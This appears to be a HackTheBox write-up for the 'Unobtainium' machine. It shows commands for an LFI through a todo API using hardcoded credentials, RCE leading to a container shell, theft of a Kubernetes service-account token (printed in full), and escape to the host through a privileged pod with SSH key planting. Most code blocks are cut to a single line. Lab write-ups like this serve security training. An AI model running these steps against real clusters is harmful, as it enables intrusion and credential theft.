Summary
Unobtainium is a Hackthebox hard linux machine created by felamos.
Initial Enumeration
nmap
1 | # Nmap 7.91 scan initiated Wed Apr 14 15:03:29 2021 as: nmap -sC -sV -oN nmap/unobtainium 10.129.113.113 |
Web
Downloading the package and extracting it we get an asar
file
1 | $ dpkg-deb -xv unobtainium_1.0.0_amd64.deb . |
and we find a asar
file in that extracting that
1 | $ asar extract app.asar loot |
Looking in that we find a credential as
1 | $(document).ready(function(){ |
Checking the TODO API we get
some content:
1 | $ curl -X POST http://unobtainium.htb:31337/todo --header "Content-Type: application/json" --data '{"auth": {"name": "felamos", "password": "Winter2021"}, "filename" : "todo.txt"}' |
1 | {"ok":true,"content":"1. Create administrator zone.\n2. Update node JS API Server.\n3. Add Login functionality.\n4. Complete Get Messages feature.\n5. Complete ToDo feature.\n6. Implement Google Cloud Storage function: https://cloud.google.com/storage/docs/json_api/v1\n7. Improve security\n"} |
Also running wfuzz
we get upload
route
Also manually testing we find LFI in todo
1 | $ curl -X POST http://unobtainium.htb:31337/todo --header "Content-Type: application/json" --data '{"auth": {"name": "felamos", "password": "Winter2021"}, "filename" : "index.js"}' |
1 | var root = require("google-cloudstorage-commands"); |
Checking the code we see we need to have canUpload
permission to upload and get RCE via google-cloud
1 |
|
using this we get a shell on the box as root in the container
and we can grab user.txt
from
1 | root@webapp-deployment-5d764566f4-lrpt9:~# cat user.txt |
1 | curl -LO "https://dl.k8s.io/release/$(curl -L -s https://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubectl" |
using kubectl we can get all namespaces
1 | $ kubectl get namespaces |
1 | root@webapp-deployment-5d764566f4-mbprj:/tmp/test# kubectl auth can-i --list -n dev |
and checking pods
1 | root@webapp-deployment-5d764566f4-mbprj:/tmp/test# kubectl get po -n dev -owide |
checking desribe of a pod we see it is listening on port 3000
1 | root@webapp-deployment-5d764566f4-mbprj:/tmp/test# kubectl describe po devnode-deployment-cd86fb5c-qlxww -n dev |
Using shell.sh
with the pod ip and port we can get a shell in a dev pod
uploading and executing kubectl again we see
1 | root@devnode-deployment-cd86fb5c-qlxww:/tmp/test# kubectl -n kube-system auth can-i --list |
we see we can list kube-system secret
1 | root@devnode-deployment-cd86fb5c-qlxww:/tmp/test# kubectl -n kube-system get secrets |
we grab daemon-set-controller-token
as that have create pod access
1 |
|
and use
1 |
|
and get the daemon-set token as
1 | eyJhbGciOiJSUzI1NiIsImtpZCI6IkpOdm9iX1ZETEJ2QlZFaVpCeHB6TjBvaWNEalltaE1ULXdCNWYtb2JWUzgifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5p9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJrdWJlLXN5c3RlbSIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VjcmV0Lm5hbWUiOiJkYWVtb24tc2V0LWNvbnRyb2xsZXItdG9rZW4tY2I4MjUiLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC5uYW1lIjoiZGFlbW9uLXNldC1jb250cm9sbGVyIiwia3ViZXJuZXRlcy5p9zZXJ2aWNlYWNjb3VudC9zZXJ2aWNlLWFjY291bnQudWlkIjoiNThhNTAxNGEtNWJlMS00MTQ0LTgyNTYtZWJiZTNiMGQzZWZmIiwic3ViIjoic3lzdGVtOnNlcnZpY2VhY2NvdW50Omt1YmUtc3lzdGVtOmRhZW1vbi1zZXQtY29udHJvbGxlciJ9.Sube7Qn6hgQI_E9KRKOgSCzBnfbivCB_M_nUXAT-Hxh_i9ZLqGNeUlFzgnbHpGKMaKoyhM01rkMazQkndPq_RvfFBSq27ZKxPEVZW6lT0x3pN3m4aHbb0ZoYR6mM6ppR4u2aYgB6jpQcx7jkkyb-wzlLHHig6BIbpasJnAFc2SoadGEcSghASGwzqHMRbBVtltMc_IxEsZgxNciI4ehakPSc4VJQ1ah6K7xLuJDXJf8RYz9yVpwZXUeE6xhlNqDNzlXDaGXImP7QdTSI5IcCoe6hbjnoJHKIN1oijQ1sWQbuG6d0PxjeEEilKUtfuwcWCRSUP5Qx1LJ6-GG6TcwiFg |
and using the daemon-set controller we can create a pod
using the token i checked for images and saw
1 | - apiVersion: v1 |
pod image
1 | kubectl create -f ./pod.yaml --token eyJhbGciOiJSUzI1NiIsImtpZCI6IkpOdm9iX1ZETEJ2QlZFaVpCeHB6TjBvaWNEalltaE1ULXdCNWYtb2JWUzgifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJrdWJlLXN5c3RlbSIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VjcmV0Lm5hbWUiOiJkYWVtb24tc2V0LWNvbnRyb2xsZXItdG9rZW4tY2I4MjUiLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC5uYW1lIjoiZGFlbW9uLXNldC1jb250cm9sbGVyIiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZXJ2aWNlLWFjY291bnQudWlkIjoiNThhNTAxNGEtNWJlMS00MTQ0LTgyNTYtZWJiZTNiMGQzZWZmIiwic3ViIjoic3lzdGVtOnNlcnZpY2VhY2NvdW50Omt1YmUtc3lzdGVtOmRhZW1vbi1zZXQtY29udHJvbGxlciJ9.Sube7Qn6hgQI_E9KRKOgSCzBnfbivCB_M_nUXAT-Hxh_i9ZLqGNeUlFzgnbHpGKMaKoyhM01rkMazQkndPq_RvfFBSq27ZKxPEVZW6lT0x3pN3m4aHbb0ZoYR6mM6ppR4u2aYgB6jpQcx7jkkyb-wzlLHHig6BIbpasJnAFc2SoadGEcSghASGwzqHMRbBVtltMc_IxEsZgxNciI4ehakPSc4VJQ1ah6K7xLuJDXJf8RYz9yVpwZXUeE6xhlNqDNzlXDaGXImP7QdTSI5IcCoe6hbjnoJHKIN1oijQ1sWQbuG6d0PxjeEEilKUtfuwcWCRSUP5Qx1LJ6-GG6TcwiFg |
so
we can get root
1 | apiVersion: v1 |
$ chroot /root
$ mkdir -p /root/.ssh
$ echo ‘
1 |
|
and got a root shell.
1 | root@unobtainium:~# whoami;id;hostname;date; |